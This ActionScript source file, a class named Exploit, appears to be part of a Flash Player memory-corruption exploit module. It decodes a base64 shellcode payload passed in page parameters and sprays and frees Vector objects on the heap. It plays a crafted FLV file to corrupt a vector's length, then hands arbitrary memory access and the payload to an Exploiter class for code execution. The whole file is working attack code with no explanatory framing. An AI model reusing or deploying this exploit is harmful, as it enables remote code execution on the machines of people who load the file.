package 
{
    import flash.display.Sprite
    import flash.events.Event
    import flash.events.NetStatusEvent
    import flash.events.AsyncErrorEvent
    import flash.media.Video
    import flash.net.NetConnection
    import flash.net.NetStream
    import flash.utils.getTimer
    import flash.utils.ByteArray
    import mx.utils.Base64Decoder
    import flash.display.LoaderInfo
    
    public class Exploit extends Sprite 
    {
        private var b64:Base64Decoder = new Base64Decoder()
        private var payload:ByteArray
        private var platform:String
        private var os:String
        private var exploiter:Exploiter
        
        public var bytes:Class;
        public var video:Video = new Video(640, 480);
        public var vecVectors:Vector.<Object>;

        public function Exploit():void {
            platform = LoaderInfo(this.root.loaderInfo).parameters.pl
            os = LoaderInfo(this.root.loaderInfo).parameters.os
            var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
            var pattern:RegExp = / /g;
            b64_payload = b64_payload.replace(pattern, "+")
            b64.decode(b64_payload)
            payload = b64.toByteArray()
            
            addChild(video)
            var nc:NetConnection = new NetConnection()
            nc.addEventListener(NetStatusEvent.NET_STATUS , onConnect)
            nc.addEventListener(AsyncErrorEvent.ASYNC_ERROR , trace)
            var metaSniffer:Object=new Object()
            metaSniffer.onMetaData=getMeta
            nc.connect(null)
            var ns:NetStream = new NetStream(nc)
            ns.client = metaSniffer
            video.attachNetStream(ns)
            vecVectors = new Vector.<Object>(0x1000)
            for ( var i:uint = 0; i < vecVectors.length; ++ i ) {
                vecVectors[i] = new Vector.<uint>((0x2000 - 8) / 4);
                vecVectors[i][0] = 0xdeedbeef;
            }
        
            for ( i = 0; i < vecVectors.length; i += 2 ) {
                vecVectors[i] = null;
            }
            
            ns.addEventListener(NetStatusEvent.NET_STATUS, statusChanged)
            ns.play("poc2.flv")
        }

        private function go():void {
            var bigVector:Vector.<uint> = null;
            for ( var i:uint = 0; i < vecVectors.length; i++ ) {
				if (vecVectors[i] == null) continue
                if ( vecVectors[i].length > (0x2000 - 8) / 4 ) {
                    bigVector = vecVectors[i] as Vector.<uint>
                }
            }
            
            if ( null == bigVector ) {
                return;
            }
            
            for ( i = 0; i < 0x2000; i++ ) {
                if (bigVector[i] == 0x7fe && bigVector[i + 2] == 0xdeedbeef) {
                    bigVector[0x3fffffff] = bigVector[i + 1]
                    break
                }
            }

            for ( i = 0; i < vecVectors.length; i++ ) {
				if (vecVectors[i] == null) continue
                if (vecVectors[i].length != 0x7fe) {
                    delete(vecVectors[i])
                    vecVectors[i] = null
                }
            }
            
            exploiter = new Exploiter(this, platform, os, payload, bigVector, 0x7fe)
        }

        private function statusChanged(stats:NetStatusEvent):void {
            if (stats.info.code == 'NetStream.Play.Stop') {
                WaitTimer(1000)
                go()
            }
        }

        private function getMeta (mdata:Object):void {
            video.width=mdata.width/2
            video.height=mdata.height/2
        }

        private function onConnect(e:NetStatusEvent):void {
            return
        }
        
        private function WaitTimer(time:int):void{
            var current:int = getTimer()
            while (true) {
                if ((getTimer() - current) >= time) break
            }
        }
    }
}
